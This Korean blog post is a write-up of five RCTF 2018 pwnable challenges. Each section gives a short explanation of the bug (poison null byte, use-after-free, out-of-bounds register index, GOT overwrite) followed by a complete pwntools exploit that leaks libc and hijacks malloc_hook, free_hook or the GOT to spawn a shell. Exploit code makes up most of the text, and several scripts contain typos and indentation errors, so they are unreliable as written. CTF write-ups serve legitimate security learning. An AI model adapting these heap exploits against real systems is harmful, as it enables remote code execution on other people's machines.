ABOUT ME

    -

    Today
    -
    Yesterday
    -
    Total
    -
    • RCTF 2018 Write up
      Pwnable/CTF 2018. 5. 21. 15:22

      Baby HEAP


      운 좋게 1등으로 문제를 풀었다 !! 

       

      문자열을 입력받는 함수에서 POISON-NULL-Byte 취약점이 생긴다.

      취약점을 써서 뚝딱 풀면 된다.



      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      from pwn import *
       
      #p=process('./babyheap')
      p=remote('babyheap.2018.teamrois.cn',3154)
       
      def alloc(size,content):
          p.sendlineafter(': ','1')
          p.sendlineafter(': ',str(size))
          p.sendlineafter(': ',content)
       
      def show(idx):
          p.sendlineafter(': ','2')
          p.sendlineafter(': ',str(idx))
       
      def delete(idx):
          p.sendlineafter(': ','3')
          p.sendlineafter(': ',str(idx))
       
       
      alloc(24,'AAAA')
      alloc(256,'B'*240+p64(0x100)+p64(0x121))
      alloc(256,'CCC') #2
      delete(0)
      delete(1)
      alloc(24,'A'*24) #0
      alloc(0x88,'BBBB') #1
      alloc(0x60,'bbbb') #3
      delete(1)
      delete(2)
      p.recvuntil('Exit')
      p.recvuntil('Exit')
      sleep(1)
      alloc(0x88,'ZZZZ') #1
      alloc(0x80,'bbbb') #2
      alloc(0x80,'cccc') #4
      delete(2)
      show(3)
      p.recvuntil('content: ')
      main_arena = u64(p.recv(6)+'\x00\x00') + 88 - 176
      malloc_hook = main_arena - 0x10
      libc_base = main_arena - 0x3c4b20
      print hex(main_arena)
      print hex(malloc_hook)
      print hex(libc_base)
      delete(4)
      alloc(0x60,'aaaa')
      alloc(0x60,'cccc')
      delete(2)
      delete(4)
      delete(3)
      alloc(0x60,p64(malloc_hook-0x23))
      alloc(0x60,'cccc')
      alloc(0x60,'aaaa')
      alloc(0x60,'A'*0x13+p64(libc_base+0x4526a))
       
      p.interactive()
       
      		cs




      RNote3 

      data 포인터 첫 바이트를 NULL로 만들면 되는데 그것을 생각했을 때 익스를 거의 다 짠 상태라 그냥 2번째 BYTE를 NULL로 만드는 익스를 짰다. 


      취약점은 DELETE를 할 때 스택에서 NULL로 초기화를 안 시켜서 UAF 취약점이 생긴다.


      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      from pwn import *
       
      #p=process('./RNote3')
      p=remote('rnote3.2018.teamrois.cn',7322)
       
      def add(title,size,content):
          sleep(0.5)
          p.sendline('1')
          p.sendlineafter('title: ',title)
          print p.sendlineafter('size: ',str(size))
          p.sendlineafter('content: ',content)
       
      def view(title):
          sleep(0.5)
          p.sendline('2')
          p.sendlineafter(': ',title)
       
      def edit(title,content):
          sleep(0.5)
          p.sendline('3')
          p.sendlineafter(': ',title)
          p.sendlineafter(': ',content)
       
      def delete(title):
          sleep(0.5)
          p.sendline('4')
          p.sendlineafter(': ',title)
       
      while True:
          try:
      #        p=process('./RNote3')
              p=remote('rnote3.2018.teamrois.cn',7322)
              print p.recv(1024)
              p.sendline('-1')
              add('AAAA',24,'AAAA')
              delete('AAAA')
                      delete('AAAA')
                      add('',24,'AAAA')
                      add('',24,'AAAA')
              add('BBBB',0xb0,p64(0x119))
              add('CCCC',24,'CCCC')
              add('DDDD',256,'/bin/sh\x00')
              delete('CCCC')
              delete('')
              view('\x40')
              if 'valid' not in p.recvuntil('title'):
                  print 'Correct'
                  p.recvuntil('note content: ')
                  heap = u64(p.recv(6)+'\x00\x00') - 0x140
                  print hex(heap)
                  add('',24,'AAAA')
                  add('CCCC',24,'CCCC')
                  delete('')
                  delete('')
                  delete('BBBB')
                  add('',0xb0,'BBBB')
                  add(p64(heap+0x140)[0:6],24,'AAAA')
                  add('!!!!',24,'@'*7+'\x00'+p64(0x500)+p64(heap+0x98))
                  view('@'*7)
                  p.recvuntil('note content: ')
                  main_arena = u64(p.recv(6)+'\x00\x00') - 88
                  libc_base = main_arena - 0x3c4b20
                  free_hook = libc_base + 0x3c67a8
                  print hex(main_arena)
                  print hex(free_hook)
                  edit('@'*7,'A'*0xa0 + p64(0) + p64(0xc0) + p64(0x21) + '@'*7 + '\x00' + p64(0x500) + p64(free_hook))
                  edit('@'*7,p64(libc_base+0x45390))
                  p.interactive()
              else:
                  asd() #error
          except:
              print 'Error'
       
      		cs


      Simulator


      a2[0] = asm_opcode

      a2[1] = reg_idx

      a2[2] = reg_idx

      a2[3] = reg_idx


      대충 인덱스에 이런 식으로 들어간다 if 문으로 asm을 입력하면 opcode로 바꿔주고 OPCODE를 if 문으로 나누는데 


      add, and, sub, slt, or 5개만 내가 입력한 문자열로 인덱스를 정해줄 수 있다.

      인덱스 값 범위를 필터링 하지 않았기 때문에 OOB취약점이 생긴다.



      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      from pwn import *
      import hashlib
      import string
       
       
      def proof_of_work():
          data = p.recvline().split('\n')[0]
          str_ = string.ascii_letters + string.digits
          key = ""
          check = False
          print data
          for one in str_:
              if check:
                  break
              for two in str_:
                  if check:
                      break
                  for three in str_:
                      if check:
                          break
                      for fo in str_:
                          key = data + one + two + three + fo
                          if check:
                              break
                          if hashlib.sha256(key).digest().startswith('\0\0\0'):
                              print (one+to+three+fo)
                              p.send(one+to+three+fo)
                              check = True
       
      #p=process('./simulator')
      p=remote('simulator.2018.teamrois.cn',3131)
      proof_of_work()
      sleep(1)
      p.sendline('.text')
      p.sendline('sub {0},{1},{2}'.format('4294966944','134523785','1')) #puts -> main
      p.sendline('sub {0},{1},{2}'.format('4294966942','134514033','1')) #strdup -> printf
      p.sendline('END')
      p.sendline('.data')
      sleep(1)
      p.sendline('%2$p')
      fgets = int(p.recv(10),16) - 11 #server -> 0x5d620
      libc_base = fgets - 0x5d620
      system = libc_base + 0x3a940
      cmd = libc_base + 0x15902b
      print hex(fgets)
      print hex(libc_base)
      print hex(system)
      print hex(cmd)
      p.sendline('%159$p')
      canary = int(p.recv(10),16)
      print hex(canary)
      p.sendline('.text')
      p.sendline('sub {0},{1},{2}'.format('4294966944','134514033','1')) #puts recovery
      p.sendline('END')
      p.recvuntil('comment: ')
      p.sendline('AAAA')
       
      payload = 'A'*32
      payload += p32(canary)
      payload += 'B'*12
      payload += p32(system)
      payload += p32(cmd) * 2
       
      print p.sendlineafter('comment: ',payload)
      p.interactive()
       
      		cs


      RNote4


      NO-RELRO를 보고 바로 strtab덮어야지 했는데 이상하게 안 덮여서 삽질을 하다가 그냥 free@got를 system으로 브포를 돌렸다. 

      문제를 풀고 다시 확인해보니 strtab을 이상하게 덮으려고 했다 ..


      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      from pwn import *
       
      p=process('./RNote4')
       
      def alloc(size,data):
              p.send('\x01')
              p.send(size)
              p.send(data)
       
      def edit(idx,size,data):
          sleep(0.5)
              p.send('\x02')
              p.send(idx)
              p.send(size)
          p.send(data)
       
      def delete(idx):
          sleep(0.5)
          p.send('\x03')
          p.send(idx)
       
      while True:
          try:
      #        p=process('./RNote4')
              p=remote('rnote4.2018.teamrois.cn',6767)
              alloc('\x18','A'*24)
              alloc('\x18','B'*24)
              alloc('\x18','C'*24)
              alloc('\x18','/bin/sh\x00'+'\x00'*16)
              edit('\x01','\x30','B'*40+p64(0x602018))
              delete('\x00')
              edit('\x02','\x03','\x90\x33\x56')
              delete('\x03')
              p.sendline('id;ls')
              print p.recv(1024)
              p.sendline('id;ls')
              print p.recv(1024)
              p.interactive()
          except:
              p.close()    
       
      p.interactive()
      		cs


      Stringer


      문제를 보자마자 그 취약점이 생각났다.

      ROOT_CTF Allocate가 아래 ptrmalloc에 나오는 calloc trick, realloc trick을 이용한 문제였는데 모르고 

      realloc에서 NULL로 덮지 않았다. ㅠㅠㅠ


      https://github.com/andigena/ptmalloc-fanzine


      위에서 03scraps-calloc.c trick이 이 문제 핵심이다.


      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      from pwn import *
       
      #p=process('./stringer')
      p=remote('stringer.2018.teamrois.cn',7272)
       
      def new(length,string):
          p.sendlineafter('choice: ','1')
          p.sendlineafter(': ',str(length))
          if(len(string) < length):
              p.sendlineafter(': ',string)
          else:
              p.sendafter(': ',string)
       
      def edit(idx,byte_idx):
          p.sendlineafter('choice: ','3')
          p.sendlineafter(': ',str(idx))
          p.sendlineafter(': ',str(byte_idx))
       
      def delete(idx):
          p.sendlineafter('choice: ','4')
          p.sendlineafter(': ',str(idx))
       
       
      new(24,'A'*24) #0
      new(0x100,'B'*0x100) #1
      new(0x100,'C'*0x100) #2
      delete(1)
      edit(0,24)
      edit(0,24)
      new(0x100,'\n') #3
      p.recvuntil('your string:')
      p.recv(1)
      main_arena = u64(p.recv(6)+'\x00\x00') - 0x16 + 0x2c
      libc_base = main_arena - 0x3c4b20
      malloc_hook = main_arena - 0x10
      print hex(main_arena)
      print hex(libc_base)
      print hex(malloc_hook)
      new(0x60,'AAAA') #4
      new(0x60,'BBBB') #5
      delete(4)
      delete(5)
      delete(4)
      new(0x60,p64(malloc_hook-0x23))
      new(0x60,'BBBB')
      new(0x60,'AAAA')
      new(0x60,'A'*0x13+p64(libc_base+0xf02a4))
      p.sendlineafter('choice: ','1')
      p.sendlineafter('length: ','24')
       
      p.interactive()
       
      		cs


      저작자표시

      'Pwnable > CTF' 카테고리의 다른 글

      SECCON 2017 vm_no_fun  (0) 2018.08.15
      Codegate 2018 7ameBOX1  (0) 2018.05.21
      Secuinside 2017 vvv  (0) 2018.05.13
      Codegate 2017 JsWorld  (0) 2018.05.10
      Codegate 2018 Final  (0) 2018.04.10

      관련글 관련글 더보기

    Designed by Tistory.

    티스토리툴바